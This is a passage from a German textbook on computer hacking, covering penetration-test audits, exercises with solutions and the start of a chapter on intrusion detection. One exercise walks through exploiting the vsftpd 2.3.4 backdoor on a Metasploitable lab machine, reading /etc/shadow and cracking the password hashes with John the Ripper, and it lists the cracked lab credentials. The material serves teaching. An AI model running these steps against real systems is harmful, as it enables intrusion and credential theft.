offenbart, auf welche Weise die Pentester in das System eindringen konnten und auf welche Daten sie zugreifen konnten. In einem Abschlussgespräch mit den verantwortlichen Administratoren und den Auftraggebern werden die Lücken und die Empfehlungen zur Behebung diskutiert. Ein optionaler Re-Penetration-Test nach einigen Monaten hat das Ziel, die gewonnene Sicherheit zu dokumentieren. Hier kann geprüft werden, ob die Umsetzung der empfohlenen Maßnahmen erfolgreich war. Gleichzeitig können hier neu entdeckte Sicherheitslücken geprüft werden. Üblicherweise sollte die Re-Penetration nach 6–12 Monaten erfolgen. Begleitend zu allen Phasen ist eine akribische schriftliche Dokumentation der einzelnen Arbeitsschritte notwendig, damit bei eventuellen Funktionsbeeinträchtigungen und daraus entstehenden Schäden die Schuldfrage geklärt werden kann.
10.8
IT-Sicherheitsaudits
199
Ein Pentest kann immer nur eine Momentaufnahme des aktuellen Sicherheitsstands sein. Auch wenn bei einem durchgeführten Pentest keine Lücke gefunden werden sollte, ist dies keine Garantie, dass eine Einrichtung nicht schon am nächsten Tag das Ziel einer erfolgreichen Attacke sein kann. Das liegt daran, dass immer nur die Sicherheitslücken erkannt werden, nach denen auch gesucht wurde. Außerdem existieren oft auch Zero-Day-Exploits für bestimmte Anwendungen, die oft noch nicht in den aktuellen Schwachstellendatenbanken enthalten sind. Auch lassen sich manche Empfehlungen aus einem Abschlussbericht nicht sofort umsetzen, sodass die Lücken oft noch eine ganze Weile offen bleiben.
10.8
IT-Sicherheitsaudits
Noch einen Schritt weiter als reine Pentests gehen IT-Sicherheitsaudits, die eine Gesamtbewertung der IT einer Einrichtung zum Ziel haben. In einem IT-Sicherheitsaudit werden deshalb alle technischen und organisatorischen Maßnahmen geprüft, die dazu dienen die IT-Sicherheit einer Einrichtung zu erhöhen. Am Ende eines Audits kann eine Zertifizierung nach ISO 27001 stehen. IT-Sicherheitsaudits haben das Ziel, Sicherheitslücken, Konfigurationsfehler, Fehler im Betriebsablauf, in der Bedienung, in der Implementierung oder in der Konstruktion zu identifizieren und zu dokumentieren. Dabei geht es nicht nur um die Frage, ob ein IT-System sicher ist, sondern auch darum, wie sicher es ist. Pentests sind deshalb einer der methodischen Ansätze für die Durchführung von ITSicherheitsaudits. Hier fokussieren sich Pentester auf die Suche nach die Schwachstellen, indem sie nachweisen, dass sie in eine Organisation oder in Systeme eindringen können. Wenn ihnen das gelingt, ist der Beweis erbracht, dass Cyberkriminelle das grundsätzlich ebenfalls schaffen könnten. Weitere Ansätze sind Compliance-Audits, bei denen die Einhaltung rechtlicher Vorgaben, sowie allgemein anerkannte IT-Sicherheitsstandards geprüft werden oder Risikobewertungen, bei denen Ausfallrisiken und die dadurch entstehenden Schäden in einer Matrix bewertet werden, sowie Audits, die auf Fragebögen basieren, die von den IT-Verantwortlichen ausgefüllt werden. Dabei werden auch die vorhandenen Richtlinien und deren Einhaltung anhand von Protokollen überprüft. Es werden unter anderem folgende Arten von IT-Sicherheitsaudits unterschieden, die einen Fokus auf die Art der zu auditierenden Einrichtung haben: • Audits von kritischen Infrastrukturen (KRITIS) • Audits nach den Datensicherheitsstandards der Payment Card Industry (PCI-DSS) • Cloud Security Audits zur Überprüfung und sicherheitstechnischen Bewertung der Cloud-Umgebung • Audits nach ISO 27001 zur Überprüfung des Reifegrads des Information Security Management System (ISMS) und anschließender Zertifizierung
200
10 Penetration Tests
Die Notwendigkeit solcher IT-Sicherheitsaudits ergibt sich aus gesetzlichen Datenschutzvorgaben, Verordnungen und Rechtsvorschriften sowie internen Richtlinien. Darüber hinaus existieren einige Normen, bezüglich der ein Unternehmen oder eine Einrichtung auditiert werden kann: Die ISO/IEC-Norm 27001:2022 [11] spezifiziert einen Standard für die Anforderungen eines dokumentierten Information-Security-Management-Systems (ISMS, s. Abschn. xrefISMS) mit einem Schwerpunkt auf dessen Voraussetzungen, Umsetzung, Aufrechterhaltung und fortlaufende Verbesserung innerhalb einer Einrichtung. Daneben gibt es weitere Standards wie BS. 7799-2:20025 . Auch ein IT-Sicherheitsaudit kann einen Angriff nicht verhindern. Es dient vor allem dazu, im Falle eines Cyberangriffs nachweisen zu können, dass alle erforderlichen Maßnahmen nach dem Stand der Technik zur Abwehr eines Angriffs umgesetzt wurden. Im Zweifel geht es darum, die Hürden für einen erfolgreichen Angriff für die Angreifer so hoch wie möglich zu setzen und dabei den besten Kompromiss zwischen Kosten, Beeinträchtigung des Betriebs und Schutzbedarf zu finden. Ein IT-Sicherheitsaudit wird in der Regel nach dem folgenden Schema durchgeführt: Zunächst bedarf es wie bei einem reinen Pentest eines schriftlichen Auftrags, bei dem der genaue Umfang und der Zeitplan festgelegt sind. Zu Beginn des Audits wird ermittelt, welcher Schutzbedarfsklasse nach der IT-Grundschutzspezifikation des BSI die zu untersuchende Einrichtung angehört. Diese Schutzbedarfsklassen können „normal“ (Schutzbedarfsklasse 1), „hoch“ (Schutzbedarfsklasse 2) bis „sehr hoch“ (Schutzbedarfsklasse 3) sein. In diese Bewertung fließen die finanziellen Auswirkungen in Bezug zur Höhe des Umsatzes eines Unternehmens oder des Budgets einer Behörde sowie die Beeinträchtigung des Betriebs beim Ausfall eines Systems ein. Dabei lässt sich bereits abschätzen, welche negativen Auswirkungen der Ausfall bestimmter Systeme haben kann. Anschließend erfolgt die Bestandsaufnahme der zu untersuchenden IT-Systeme und die Auswahl der durchzuführenden Tests. Je nach gewählter Methodik werden die benötigten Dokumente und Auszüge von Logdateien angefordert und gesichtet. Aus den dadurch gewonnen Kenntnissen können die erforderlichen Schutzmaßnahmen abgeleitet werden. Die Ergebnisse werden in einem Prüfbericht dargestellt. Hier wird bescheinigt, dass die Voraussetzung zur Erfüllung der gesetzlichen Anforderungen oder gemäß der Vorgaben der angewendeten Richtlinien erfüllt sind oder nicht. Sind sie erfüllt, gilt der Bericht als Nachweis für die Erfüllung der geforderten Standards und der Umsetzung der gesetzlich vorgegebenen IT-Sicherheitsrichtlinien. Werden Sicherheitslücken gefunden, enthält dieser Bericht neben der Einordnung de Schwere der Lücke auch Hinweise, wie und mit welcher Dringlichkeit diese zu schließen sind. Die häufigsten Sicherheitslücken, die bei Sicherheitsaudits immer wieder gefunden werden und nach denen die Auditoren suchen, sind: (siehe auch [12]):
5 Der British Standard BS. 7799-1 wurde von der ISO als ISO-17799 übernommen und später in
ISO 27001 umbenannt. Der Ursprung von ISO27001 ist der BS. 7788-2, der 2005 von der ISO übernommen wurde.
10.9
• • • • • • • • • •
Aufgaben & Lösungen zu diesem Kapitel
201
Fehlende Dokumentationen von änderungen der Konfiguration Verletzung des Vier-Augen-Prinzips Fehlende Dokumente wie Ordnungen und Richtlinien, die der Gesetzgeber verlangt Anfälligkeit der Mitarbeitenden für Social Engineering Mangelnde Sicherheits-, Wartungs- und Programmierkompetenzen der zuständigen Administratoren Fehlerhafte Backup- und Restore-Prozesse Mangelhafte Sicherheitskonzepte wie Security-Through-Obscurity, fahrlässiger Umgang mit vertraulichen Daten Fehlende oder mangelhafte Wartungskonzepte Fehlendes Monitoring der Anwendungen und Systeme Programmierfehler durch fehlerhafte Prozesse und Zeitnot bei der Softwareentwicklung, fehlende Qualitätskontrollen und Code Reviews
Dazu kommen die eher technischen Aspekte, die im Rahmen von Pentests offengelegt werden: • • • • •
Rudimentär konfigurierte Router, Firewalls oder Webserver Einfache oder sogar bekannte Standardpasswörter für Komponenten im lokalen Netz Identische Administratorpasswörter für mehrere Endgeräte Unverschlüsselt übertragene Passwörter im lokalen Netz Anfälligkeit der entwickelten Anwendungen für Buffer Overflows, Format String Vulnerabilities, Integer Overflows • Fehlende Eingabeprüfung und dadurch schlecht gesicherte Datenbanken bei WebAnwendungen (SQL-Injection) • Verwendung unsicherer Dienste wie Login, Telnet, SNMP, RDP, X, SMB, MSRPC • Dateisysteme, die nicht ausreichend gegen Zugriff durch Dritte geschützt sind Das Ziel eines IT-Sicherheitsaudits besteht folglich darin, solche Sicherheitslücken zu finden und Hilfestellungen zu geben, diese Lücken zu schließen. Dazu kommen die Risikobewertungen, die Überprüfung der Einhaltung gesetzlicher Vorgaben und die Möglichkeit, die daraus abgeleiteten Anforderungen durch ein Zertifikat nachzuweisen.
10.9
Aufgaben & Lösungen zu diesem Kapitel
10.9.1 Aufgaben 10.1 Wie würden Sie anhand der Klassifikation (Abb. 10.1) den Pentest eines Red Teams einordnen?
202
10 Penetration Tests
10.2 Was könnte ein Pentester mit einem entsprechenden Auftrag untersuchen? 1. 2. 3. 4. 5.
Versuch, ein Gebäude ohne Ausweis zu betreten Eine Phishingkampagne starten Einen User bitten, seinen Rechner freizuschalten Einen Netzwerkscan über alle Rechner durchführen Aktiv in Rechnersysteme mit identifizierten Sicherheitslücken einbrechen
10.3 Sie möchten die IT-Sicherheit eines fremden Webservers prüfen und wollen dazu das Open-Source-Tool Nikto2 verwenden. Ist das zulässig? 10.4 Wie können Sie als Pentester prüfen, ob ein administrierter Rechner mit eingeschränkten Rechten durch die Ausführung von Schadsoftware in E-Mail-Anhängen kompromittiert werden kann? 10.5 Sie führen einen Portscan mit Nmap auf einem bestimmten Host durch und erhalten folgende Liste der offenen Ports: 21/tcp, 23/tcp, 80/tcp, 515/tcp, 631/tcp und 9100/tcp. Alle andern Ports sind geschlossen. Um was für ein Endgerät handelt es sich mit hoher Wahrscheinlichkeit? 10.6 Welche Funktion hat die Nmap-Option „-T[0-5]“? 10.7 Wozu dient das Werkzeug OpenVAS? 10.8 Welche Schritte gehören nach BSI nicht zur Durchführung eines Pentests? 1. 2. 3. 4. 5. 6. 7.
Vorbereitung Beschaffung von Accountdaten im Darknet Informationsbeschaffung und -auswertung Bewertung der gewonnen Informationen (Risikoanalyse) Aktive Eindringversuche DDoS-Belastungsversuche Abschließende Analyse
10.9 Wie hängen die Zertifizierung nach ISO/IEC27001 und der BSI-Grundschutz zusammen? 10.10 (P) Nutzen Sie den Befehl nmap mit geeigneten Optionen, um alle Rechner in Ihrem Subnetz zu scannen. Listet Nmap alle Betriebssysteme korrekt auf?
10.9
Aufgaben & Lösungen zu diesem Kapitel
203
10.11 (P) Diese Metasploit-Übung hat das Ziel, einen aktiven Pentest auf ein anfälliges Ziel nachzuvollziehen. Bei dieser Übung soll das Metasploit-Framework (MSF) von Rapid7 [14] zum Einsatz kommen. Die Ausgangslage ist die folgende: Sie haben als Pentester bereits Zugang zu einem Netzwerksegment erhalten und finden mit Ihrem Kali-Rechner einen interessanten Server (Ziel), den Sie sich einmal genauer anschauen wollen. Die Aufgabe besteht darin, zu prüfen, ob auf diesem Server schwache Passwörter verwendet werden. Zu diesem Zweck wollen Sie sich Zugang zum Server verschaffen und die Dateien „/etc/passwd“ und „/etc/shadow“ herunterladen. Anschließend wollen Sie mit John the Ripper prüfen, ob Sie ein User mit einem schwachen Passwort finden. Die Zielmaschine ist Metasploitable 2, die ebenfalls von Rapid7 zur Verfügung gestellt wird [15]. Eine Installationsanleitung für Metasploitable 2 als virtuelle Maschine finden Sie im Anhang A.2. Metasploit ist auf dem Kali-Rechner bereits vorinstalliert, sodass das Framework nur noch gestartet werden muss. Alle, die sich mit MSF ein bisschen auskennen, können jetzt direkt loslegen6 . Alle anderen können versuchen nachzuvollziehen, wie sich diese Aufgabe mit MSF lösen lässt. 1. msf6> workspace -a metasploitable legt den Kontext für diese Übungsaufgabe an. 2. msf6> db_nmap -sV 192.168.2.189 macht einen Nmap-Scan auf den Metasploitable-Rechner, der in dieser Aufgabe die IP 192.168.2.189 besitzt. Die Präfix „db_“ legt fest, dass das Ergebnis in der Datenbank zu diesem Kontext gespeichert wird, sodass es jederzeit wieder abgerufen werden kann, ohne erneut einen Nmap-Scan durchführen zu müssen. 3. msf6> services listet alle offenen Ports und die darüber erreichbaren Dienste auf der Zielmaschine auf. Als erster Dienst wird ftp genannt, hinter dem der vsftpd in der Version 2.3.4 hängt. In dieser Version ist ein Backdoor versteckt, über das für den Angriff ausgenutzt werden kann. 4. msf6> search vsftp liefert Hintergrundinformationen zu diesem Exploit. 5. msf6> use exploit/unix/ftp/vsftp_234_backdoor wählt den Exploit aus. 6. msf6> set RHOSTS legt die IP-Adresse für das Ziel fest. 7. msf6> exploit führt den Exploit aus. Ab dieser Stelle wird eine Shell mit Administrationsrechten auf dem Zielsystem ausgeführt. Mit diesen Rechten kann auf die Shadow-Datei zugegriffen werden. 8. cat /etc/shadow listet die Shadow-Datei auf, die alle Passworthashes enthält. Die Zeilen mit Passworthashes lassen sich mit der Maus markieren und über einen Editor (z. B. nano) in eine Datei „shadow.txt“ übertragen. Anschließend wird das Ergebnis gespeichert. 6 in Übung 4.16 wurde eine Meterpreter-Shell auf dem Zielsystem gestartet, die keine ausreichenden
Rechte besaß. Sie benötigen deshalb einen alternativen Weg.
204
10 Penetration Tests
9. cat /etc/passwd listet die Passwort-Datei auf, die alle weiteren Angaben zum jeweiligen Account enthält. Die Zeilen, zu denen die Passworthashes in der Shadow-Datei vorliegen, sich wieder mit der Maus markieren und über einen Editor (z. B. nano) in eine Datei „passwd.txt“ übertragen. Anschließend wird das Ergebnis gespeichert. Die folgenden Schritte müssen auf dem Kali-Rechner direkt ausgeführt werden: 10. $ unshadow passwd.txt shadow.txt > hashes.txt kombiniert die beiden Dateien zu einer gemeinsamen Datei „hashes.txt“. 11. $ john format=crypt wordlist=rouckyou.txt hashes.txt liefert das gesuchte Ergebnis7 . 10.12 (P) Installieren Sie GVM auf Ihrem Kali-Rechner. Eine Anleitung zur Installation finden Sie im Anhang A.3. Starten Sie die virtuelle Maschine „Metasploitable“ als Ziel für Ihren Testlauf. Starten Sie einen Scan mit dem Aufgaben-Wizzard, bei dem Sie lediglich die IP-Adresse des Metasploitable-Rechners eingeben müssen. 1. Wie viele Schwachstellen findet GVM insgesamt? 2. Wie viele Schwachstellen mit einem CVSS-Score von 9,0 oder höher werden bei diesem Scan gefunden? 3. Welche Schwachstellen haben einen GVSS-Score von 10,0? 4. Wie lautet die Empfehlung von GVM bezüglich der OS-EOL-Detection?
10.9.2 Lösungen 10.1 Da ein Red Team in eine Einrichtung integriert ist, wäre das vermutlich ein WhiteBox-Test, eher „aggressiv“, „fokussiert“, der „verdeckt“ von „innen“ durchgeführt werden würde. Die Auswahl der Technik fängt vom Ziel des Pentests ab und kann pauschal nicht festgelegt werden. 10.2 Je nach Auftrag gehören die genannten Angriffsversuche alle zum Portfolio eines Pentesters. 10.3 Nein! Manche der Tests setzen auf Nmap auf, sodass der Einsatz von Nikto2 als Angriffsversuch gewertet werden könnte. 10.4 Sie lassen sich einen Rechner mit Ihrem Account einrichten und senden sich selbst eine E-Mail mit einem harmlosen ausführbaren Programm zu. Wenn Sie anschließend auf den Anhang klicken und das Programm wird gestartet, ist der Beweis erbracht, dass Schadsoftware auf diesem Rechner ausgeführt werden kann. 7 Die Datei „rockyou.txt“ finden Sie im Verzeichnis „/usr/share/wordlist“. Sie kann kopiert und mit
„gunzip“ ausgepackt werden.
10.9
Aufgaben & Lösungen zu diesem Kapitel
205
10.5 Der Host ist wahrscheinlich ein Drucker. Der offenen Ports 515 (Line Printer Daemon, LPD), 631 (Internet Printing Protocol, IPP) und 9100 (Page Description Language, PDL) deuten darauf hin. Die offenen Ports 21 (FTP), 23 (Telnet) und 80 (Hypertext Transfer Protocol, (HTTP) dienen der Administration des Druckers. Oft sind einfache Webserver mit einer Administrationsschnittstelle integriert. 10.6 Die Option -T ist die Timing-Funktion von Nmap. Mit ihr kann man festlegen, wie schnell die Abfolge der Scans erfolgen soll, ohne entdeckt zu werden oder den laufenden Betrieb zu stören. 10.7 OpenVAS ist ein Vulnerability-Scanner, mit dessen Hilfe Rechner in einem Netzwerksegment auf Schwachstellen hin untersucht werden können. OpenVAS ist in das Greenbone Vulnerability Management (GVM) integriert. 10.8 Antworten 2. und 6. gehören nicht zur Durchführung eines Pentests (nach BSI). Natürlich können diese Schritte von einem Auftraggeber trotzdem in Auftrag gegeben werden. 10.9 Eine ISO 27001 Zertifizierung auf der Basis von IT-Grundschutz ist möglich. Für den Nachweis einer erfolgreichen Umsetzung der Basis-Absicherung bietet das BSI ein Testat an, das von einem BSI-zertifizierten Auditor vergeben werden kann. 10.10 Der Befehl nmap -v 192.168.2.0/24 listet alle Rechner und offenen Ports in einem Subnetz mit der 192.168.2.0/24 auf. Mit der Option „-O“ versucht Nmap zusätzlich das Betriebssystem auf dem Ziel zu erkennen. Das funktioniert allerdings nicht immer zuverlässig. 10.11 Der Trick besteht darin, dass Sie einen anderen Exploit verwenden: „vsftpd in der Version 2.3.4 “ enthält ein Backdoor, über das eine Shell mit Root-Rechten gestartet werden kann. John the Ripper liefert folgendes Ergebnis: • • • • • •
user (user) service (service) postgres (postgres) msfadmin (msfadmin) 123456789 (klog) batman (sys)
Dabei ist „msfadmin“ ein Account mit Administrationsrechten, der vollen Zugriff auf den Server erhält. Mit ssh 192.168.2.189 -l msfadmin kann geprüft werden, ob die Anmeldung funktioniert.
206
10 Penetration Tests
10.12 1. Insgesamt werden 121 Schwachstellen gefunden. 2. Es werden 11 Schwachstellen mit einem CVSS-Score von 9.0 oder höher gefunden. 3. Die Schwachstellen mit einem CVSS-Score von 10,0 sind: a. Possible Backdoor: Ingreslock b. TWiki XSS and Command Execution Vulnerabilities c. rlogin Passwordless Login d. Operating System (OS) End of Life (EOL) Detection e. Distributed Ruby (dRuby/DRb) Multiple Remote Code Execution Vulnerabilities f. The rexec service is running 4. Die Empfehlung lautet: Upgrade the OS on the remote host to a version which is still supported and receiving security updates by the vendor.
Literatur 1. Luber, S., Schmitz, P.: Was ist ein Penetrationstest? https://www.security-insider.de/was-ist-einpenetrationstest-a-667683/ (2017). Aufgerufen am 3. Jul. 2022 2. BSI:Ein Praxis-Leitfaden für IS-Penetrationtests. https://www.bsi.bund.de/SharedDocs/ Downloads/DE/BSI/Sicherheitsberatung/Pentest_Webcheck/Leitfaden_Penetrationstest.pdf (2016). Aufgerufen am 31. Jul. 2022 3. Eisenkrämer, S.: CEO-Betrug nimmt drastisch zu. Springer Fachmedien (2017). https://www. springerprofessional.de/internetkriminalitaet/risikomanagement/ceo-betrug-nimmt-drastischzu/12173276. Aufgerufen am 30. Jun. 2022 4. Mitnick, K. D., Simon, W. L.: Die Kunst der Täuschung: Risikofaktor Mensch. mitp , Bonn (2003) 5. Sullo, C.: Nikto web server scanner. https://github.com/sullo/nikto (2022). Aufgerufen am 7. Nov. 2022 6. IT-Forensik Wiki: BurpSuite. https://it-forensik.fiw.hs-wismar.de/index.php/BurpSuite (2020). Aufgerufen am 3. Jul. 2022 7. PortSwigger: Burp Suite documentation. https://portswigger.net/burp/documentation (2022). Aufgerufen am 3. Jul. 2022 8. nmap.org: Nmap Referenz-Handbuch. https://nmap.org/man/de/man-briefoptions.html. Aufgerufen am 4. Jul. 2022 9. BSI: Schwachstellen-Analyse in Netzen unter Einsatz von OpenVAS https://www.allianz-fuercybersicherheit.de/SharedDocs/Downloads/Webs/ACS/DE/BSI-CS/BSI-CS_007.pdf (2018). Aufgerufen am 3. Jul. 2022 10. BSI: Open Vulnerability Assessment System (OpenVAS). https://www.bsi.bund.de/EN/Topics/ Industry_CI/ICS/Tools/OpenVAS/OpenVAS_node.html (2022). Aufgerufen am 3. Jul. 2022 11. ISO: ISO/IEC 27001:2022. https://www.iso.org/standard/82875.html. Aufgerufen am 2. Nov. 2022 12. McClure, S., Scambray, J. Kurtz, G.: Hacking Exposed: Network Security Secrets & Solutions. McGraw-Hill Professional, Emeryville, California 2005, ISBN 0-07-226081-5.
Literatur
207
13. Luber, S., Schmitz, P.: Was ist ein Penetrationstest? https://www.security-insider.de/was-ist-einpenetrationstest-a-667683/ (2017). Aufgerufen am 3. Jul. 2022 14. Rapid7: The world’s most used penetration testing framework https://www.metasploit.com/ (2022). Aufgerufen am 23. Dez. 2022 15. Rapid7: Metasploitable 2 Exploitability Guide https://docs.rapid7.com/metasploit/ metasploitable-2-exploitability-guide/ (2022). Aufgerufen am 23. Dez. 2022
Intrusion Detection
11
Eine kritische Phase bei einem Angriff ist erreicht, wenn Cyberkriminelle hinter die Firewall gelangt sind. Dann befinden sie sich im inneren Teil des Netzes und können sich unter Umständen schon von einem Rechner zum nächsten bewegen und Schäden verursachen oder weitere Systeme infizieren (Lateral Movement, s. Abschn. 4.3.1). Genau das kann ein Intrusion-Detection-System (IDS) erkennen oder ein Intrusion-Prevention-System (IPS) verhindern. Im Unterschied zum IDS, das lediglich einen Alarm auslöst und bei dem die Abwehrmaßnahmen durch einen Admin koordiniert werden müssen, kann ein IPS automatisiert Gegenmaßnahmen einleiten, um die weitere Ausbreitung zu verhindern. In beiden Systemen werden Administratoren bei verdächtigen Aktivitäten automatisch alarmiert. Auch die Auswirkungen von Zero-Day-Exploits, DDoS-Attacken oder Brute-Force-Angriffen können durch den Einsatz von IDS und IPS abgeschwächt bzw. verringert werden, weil Angriffe früher auffallen und Zeit für die Abwehr gewonnen wird. Aber auch ohne ein IDS lassen sich Cyberangriffe anhand verdächtiger Aktionen oder Spuren erkennen.
11.1
Erkennen von Angriffen
Sobald der Verdacht besteht, Opfer eines Angriffs geworden zu sein, sollte sofort reagiert werden, um größeren Schaden zu verhindern. Typische Merkmale für einen erfolgreichen Angriff auf ein Endgerät oder Server sind: • Es gibt unbekannte Dateien in den Verzeichnissen. • Der Virenscanner meldet verdächtige Dateien, die in Quarantäne genommen wurden. • Manche Systemdateien haben in neueres Zugriffsdatum als andere, obwohl keine Modifikationen durchgeführt wurden. © Der/die Autor(en), exklusiv lizenziert an Springer-Verlag GmbH, DE, ein Teil von Springer Nature 2023 U. Kebschull, Computer Hacking, https://doi.org/10.1007/978-3-662-67030-9_11
209
210
11 Intrusion Detection
• Sie oder der Systemadministrator erhalten Meldungen über SPAM-Versand von der IPAdresse des Rechners oder der E-Mail-Account wurde gesperrt. • Mobile Geräte wie Notebook, Handy oder Tablet verbrauchen plötzlich mehr Strom, wodurch sich die Akku-Laufzeit verringert. • Der Rechner oder das mobile Gerät reagieren plötzlich träge oder sind ausgelastet, obwohl keine komplexen Anwendungen laufen. • Es befinden sich Dateien auf einem Rechner, die sich nicht öffnen lassen. • Ein Rechner blendet mehr oder ungewöhnliche Werbung ein. Darüber hinaus gibt es auch Anzeichen, die darauf hinweisen, dass einer Ihrer Accounts bei einem Online-Dienstleister gehackt wurde. • • • •
Der Zugang zu einem Webdienst mit Ihrem Account ist plötzlich nicht mehr möglich. Ein seriöser Online-Shop sendet eine Rechnung, ohne dass etwas bestellt wurde. Plötzlich gibt es unbekannte Meldungen auf einem Account bei Sozialen Medien. Die Bank meldet verdächtige Kreditkartenzahlungen ins Ausland.
Diese Liste lässt sich beliebig erweitern. Immer dann, wenn ein bekanntes System oder eine bekannte Anwendung sich plötzlich anders als gewohnt verhält, kann es sein, dass Cyberkriminelle erfolgreich waren. Zunächst geht es darum, weiteren Schaden zu verhindern und dafür zu sorgen, dass die Angreifer sich nicht weiter ausbreiten. Als erster Schritt hilft meist das Trennen vom Internet, indem der Flugmodus eingeschaltet oder das Ethernet-Kabel gezogen wird. Der zweite Schritt ist das Ausschalten eines Systems. Dabei gibt es zwei unterschiedliche Varianten, die je nach Angriffsart im Nachgang unterschiedliche Untersuchungen des Vorfalls ermöglichen: 1. Wenn die Vermutung besteht, dass der Angriff über einen Virus oder einen Trojaner erfolgt, dann ist es das Beste, den Netzstecker zu ziehen, um den Rechner stromlos zu machen. Damit hat die Schadsoftware keine Chance, sich von einem Rechner zu entfernen um Spuren zu verwischen, was bei einem regulären Ausschalten möglich wäre. 2. Um später zu sehen, welche Prozesse zum Zeitpunkt des Abschaltens aktiv waren und wohin diese Prozesse ihre Daten gesendet haben, gibt es die Möglichkeit ein Speicherabbild anzulegen, indem der Ruhemodus aktiviert wird. Bei Windows-Systemen wird dann eine Datei „hyberfil.sys“ angelegt, die im Nachgang analysiert werden kann.1 Damit das System forensisch untersucht werden kann, sollte es auf keinen Fall wieder eingeschaltet werden. Vielmehr ist es sinnvoll, die Festplatte oder SSD auszubauen und ein 1 Ab Windows 10 bietet das Betriebssystem den Ruhezustand nicht mehr standardmäßig an. Man
muss diese Auswahlmöglichkeit in den Einstellungen zunächst aktivieren
11.2
Indicators of Compromise (IoC) und Indicators of Attack (IoA)
211
einem besonders ausgestatteten Rechner „Read-only“ auszulesen. So ist die Wahrscheinlichkeit am größten, dass keine Beweismittel vernichtet werden. Wird eine Straftat vermutet, so ist es ratsam, diesen Schritt den Profis bei der Polizei zu überlassen. Besteht der Verdacht, dass ein Account bei einem Online-Dienst gehackt wurde, kann man diesen nicht einfach abschalten. Falls man noch Zugang zu dem Dienst hat, geht es darum, das Passwort schnellstmöglich zu ändern. Hier zahlt sich aus, wenn man für jeden Dienst ein eigenes, zufälliges Passwort verwendet, das über einen Passwort-Manager verwaltet wird. Nur so kann man sich sicher sein, dass die Cyberkriminellen nicht schon bei weiteren Diensten eingebrochen sind. Falls der Zugang zu einem Online-Dienst nicht mehr möglich ist, weil die Angreifer das Passwort bereits geändert haben, gibt es bei den meisten Dienstanbietern die Möglichkeit, die Sperrung eines Accounts zu beantragen. Oft benötigt man hierzu einen Sicherheitsabfrage, die man mit einer vorher definierten Antwort beantworten muss.
11.2
Indicators of Compromise (IoC) und Indicators of Attack (IoA)
Angreifer hinterlassen Spuren auf Rechnern im Dateisystem, in Logfiles oder in Datenströmen. Ein Indicator of Compromise (IoC) ist ein Artefakt oder Merkmal, das mit hoher Wahrscheinlichkeit auf einen unberechtigten Zugriff auf einen Computer hinweist. IoCs können sowohl in der Computer-Forensik als auch in der Erkennung von Angriffen hilfreich sein. IT-Sicherheitsexperten oder Administratoren tauschen diese untereinander aus oder veröffentlichen sie in Foren, um eine Möglichkeit in die Hand zu geben, gezielt nach Spuren in den eigenen Systemen zu suchen. Typische IoCs sind: • Übereinstimmende Prüfsummen von Malware-Dateien, die auf ausführbare Dateien angewendet werden • Virensignaturen • protokollierte IP-Adressen und Domain Name System Records, z. B. von beteiligten Command-and-Control-Servern • Bestimmte URLs, zu denen Verbindungen hergestellt wurden • Dateien in ungewöhnlichen Verzeichnissen • Systemdateien mit geändertem Schreibdatum • Entdeckte Backdoors • Unbekannte Einträge in User-Verzeichnissen und Passwortdateien • Unbekannte Einträge in Prozesslisten • Bestimmte Einträge in Logdateien • usw.
212
11 Intrusion Detection
Diese und andere ungewöhnliche Spuren ermöglichen es, Angreifer frühzeitig im Rahmen eines Intrusion-Detection-Prozesses zu erkennen. IoCs helfen bei der effektiven Erkennung von Bedrohungen oder um nach einer erfolgreichen Abwehr eines Angriffs entscheiden zu können, ob Systeme befallen oder sauber sind. Diese sind häufig in forensischen Berichten oder in Warnmeldungen enthalten. Das Erstellen von Warnmeldungen mit IoCs und die beschriebenen Bedrohungen ermöglichen es, die Informationen zu teilen und die Reaktionen auf Vorfälle zu koordinieren. Administratoren nutzen diese Meldungen, um zu prüfen, ob ihre Systeme Opfer eines bekannten Angriffs wurden. Neben einigen kommerziellen Werkzeugen existieren auch Open-Source-Lösungen, die automatisiert nach IoCs fahnden. Indicators of Attack (IoA) sind Merkmale oder Ereignisse, die auf einen gerade laufenden Angriff hinweisen. Damit unterscheiden sie sich von IoCs, die nur erkennen lassen, ob und gegebenenfalls wann zuletzt ein System kompromittiert wurde. Im besten Fall kann durch einen erkannten IoA ein Angriff abgewehrt werden, bevor es zu einer Kompromittierung kommt. Typische IoA, die auf einen laufenden Angriff hinweisen sind: • • • • • • • • • • • •
Netzwerk- oder Rechneraktivität zu ungewöhnlichen Zeiten Hohe Auslastung von Systemen durch ungewöhnliche Prozesse Das plötzliche Erscheinen von Dateien mit bestimmten Endungen in einem Dateisystem Zahlreiche erfolglose Anmeldeversuche Passwortänderungen zu ungewöhnlichen Zeiten Anmeldeversuche oder Datenverkehr auf Systeme aus ungewöhnlichen Regionen oder zu ungewöhnlichen Zielen Untypische Nutzung von System-Ports Außergewöhnliche Alarme, Fehlermeldungen oder Logeinträge einzelner Systeme Der gleichzeitige oder kurzzeitig versetzte Ausfall mehrerer Server Ungeplante Neustarts einzelner Server Außergewöhnliche Zugriffe auf Dateien Ungeplante Installation von Software
Ein detektierter IoA kann also genutzt werden, um die Gefahren durch einen aktuell laufenden Angriff abzuwehren. Zumindest eine weitere Ausbreitung des Angriffs auf weitere gefährdete Systeme durch das gezielte Abschalten oder Trennen vom Netzwerk verhindert werden. Durch die permanente Suche nach IoA zum Beispiel über ein Monitoring-System kann ein beginnender Angriff sehr frühzeitig erkannt und abgewehrt werden.
11.3
11.3
Intrusion Detection System (IDS)
213
Intrusion Detection System (IDS)
Ein Intrusion-Detection-System (IDS) ist ein technisches System zur Erkennung von Angriffen, die gegen Computersysteme oder Rechnernetze gerichtet sind2 . Ein IDS wird hinter einer Firewall in einem geschützten Netzwerksegment oder auf einem Rechner in diesem Segment betrieben. Die Arbeitsweise von IDS ist ganz ähnlich zu Virenscannern, bei denen Schadsoftware anhand von Signaturen oder mit heuristischen Methoden identifiziert wird. Ein IDS kann einen Angriff zwar erkennen, aber nicht verhindern. Entsprechend dieser Definition gibt es zwei Arten von IDS-Systemen: • Netzwerk-IDS (NIDS), die den Datenverkehr in einem Netzwerksegment beobachten. • Host-IDS (HIDS), die den Datenverkehr und Zugriffe auf wichtige Dateien beobachten, sowie Löschungen oder Änderungen von Konfigurationen detektieren. NIDS werden meist als dedizierte Systeme in einem Netzwerksegment betrieben. Sie sind von Angreifern nur schwer zu erkennen, weil sie nur mitlesen und den Netzwerkverkehr nicht beeinträchtigen. Dabei muss das NIDS in der Lage sein, den gesamten IP-Verkehr in diesem Netzwerksegment auch bei hoher Last zu verarbeiten. Problematisch ist verschlüsselter Netzwerkverkehr, den das NIDS nicht entschlüsseln und damit nicht bewerten kann. Lediglich die Metainformation wie Quelle und Ziel der 